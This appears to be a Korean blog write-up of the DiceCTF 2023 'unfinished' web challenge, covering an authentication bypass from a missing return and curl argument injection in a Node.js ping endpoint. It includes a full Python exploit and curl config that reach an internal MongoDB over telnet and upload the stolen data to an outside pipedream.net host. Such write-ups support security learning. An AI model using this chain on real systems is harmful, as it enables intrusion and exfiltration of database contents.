Profile

i love cat

as3617

DiceCTF 2023 - unfinished

오랜만에 ctf 뛰었는데 재밌게 풀었다.

const crypto = require("crypto");

const app = db.getSiblingDB('app');
app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });

const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });

nodejs로 구현된 웹서버인데 flag는 다른 컨테이너에서 돌아가고 있는 mongodb에 있다.

app.post("/api/login", async (req, res) => {
    let { user, pass } = req.body;
    if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }
    res.redirect("/?error=Invalid username or password");
});

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

서버에 정의된 router는 2개가 있는데 /api/ping을 사용하기 위해선 login이 필요한 것을 알 수 있다.
하지만 register 기능이 없기 때문에 auth bypass를 하거나 취약점을 통해 로그인 시도를 해야한다.

if (!user || !pass || typeof user !== "string" || typeof pass !== "string") {
        return res.redirect("/?error=Missing username or password");
    }

    const users = client.db("app").collection("users");
    if (await users.findOne({ user, pass })) {
        req.session.user = user;
        return res.redirect("/");
    }

login 부분을 확인해보면 users.findOne함수를 사용할 때 취약하게 사용하고 있는 것을 확인할 수 있다.
하지만 위에서 전달되는 파라미터에 대해 string 체크를 진행하고 있어서 nosql injection 공격은 불가능하다.

const requiresLogin = (req, res, next) => {
    if (!req.session.user) {
        res.redirect("/?error=You need to be logged in");
    }
    next();
};

그럼 우린 login 기능을 우회해야하는데 requiresLogin 함수를 보면 이상한 부분을 찾을 수 있다.
세션이 존재하지 않으면 res.redirect를 통해 메인페이지로 리다이렉트시키는데 return이 존재하지 않아서 그대로 next 함수가 실행되게 되고
우린 /api/ping 기능을 사용할 수 있게 된다.

app.post("/api/ping", requiresLogin, (req, res) => {
    let { url } = req.body;
    if (!url || typeof url !== "string") {
        return res.json({ success: false, message: "Invalid URL" });
    }

    try {
        let parsed = new URL(url);
        if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
    }
    catch (e) {
        return res.json({ success: false, message: e.message });
    }

    const args = [ url ];
    let { opt, data } = req.body;
    if (opt && data && typeof opt === "string" && typeof data === "string") {
        if (!/^-[A-Za-z]$/.test(opt)) {
            return res.json({ success: false, message: "Invalid option" });
        }

        // if -d option or if GET / POST switch
        if (opt === "-d" || ["GET", "POST"].includes(data)) {
            args.push(opt, data);
        }
    }

    cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
        // TODO: save result to database
        res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
    });
});

/api/ping 기능을 분석해보면 curl을 통해 임의의 url로 요청을 보내는 것을 확인할 수 있다. url은 무조건 http,https로 시작해야하며 응답을 확인할 수는 없지만 curl로 전달되는 인자 값을 컨트롤하는 것이 가능하다.

그럼 임의의 파일을 서버에 다운로드 시킨 다음 -K 옵션을 통해 curl 설정파일을 불러온다면 추가적으로 인자를 전달하며 http url외에도 gopher 프로토콜을 사용하거나 내 서버로 파일을 업로드하는 등 더욱 다양한 동작이 가능할 것이다.

RUN ./configure --prefix=/build \
      --disable-shared --enable-static --with-openssl \
      --disable-gopher && \
    make && \
    make install

하지만 도커파일에서 curl을 빌드할 때 gopher 프로토콜을 disable한 것을 확인할 수 있다. 하지만 telnet 프로토콜은 사용이 가능하므로 telnet을 이용하여 exploit을 진행하였다.

telnet을 통해 mongodb와 통신을 해야하기에 mongodb에서 사용하는 wire packet에 대해 분석을 진행하였는데 
mongodb client에서 server와 통신할 때 query request외에도 추가적인 요청이 발생하지만 이는 query request에 영향을 주지 않는 별개의 request이며 query request 단독으로 전송되어도 정상적으로 조회한 data를 확인할 수 있다는 것을 알아내었고 이를 토대로 exploit을 작성하였다.

import requests
import time
## download curl config file
url = "https://unfinished-d4b0a20a2b6d8605.mc.ax/api/ping"
requests.post(url,data={"url":"https://ssrf.kr/GET","opt":"-O","data":"GET"})
#time.sleep(1)
## download packet file
requests.post(url,data={"url":"https://ssrf.kr/getflagdata","opt":"-O","data":"GET"})
#time.sleep(1)
## execute curl with config file
requests.post(url,data={"url":"https://ssrf.kr/","opt":"-K","data":"GET"})
time.sleep(2)

## get flag
requests.post(url,data={"url":"https://enllwt2ugqrt.x.pipedream.net/","opt":"-T","data":"POST"})

 

upload-file=getflagdata
output=asdf
url="telnet://mongodb:27017"
upload-file=getflagdata
output=POST
max-time=1

서버에서 curl 바이너리를 실행할 때 timeout 때문에 exploit이 잘 안되는데 몇 번 시도하다보면 flag를 획득할 수 있다.

 

'ctf writeup' 카테고리의 다른 글

Balsn CTF 2022 2linenodejs writeup  (0) 2022.09.07
2022 Fall GoN Open Qual CTF writeup  (2) 2022.09.01
LINE CTF 2022 web writeup  (0) 2022.03.27
Codegate 2022 Preliminary writeup  (0) 2022.02.27
Real World CTF 4th - web writeup  (0) 2022.01.30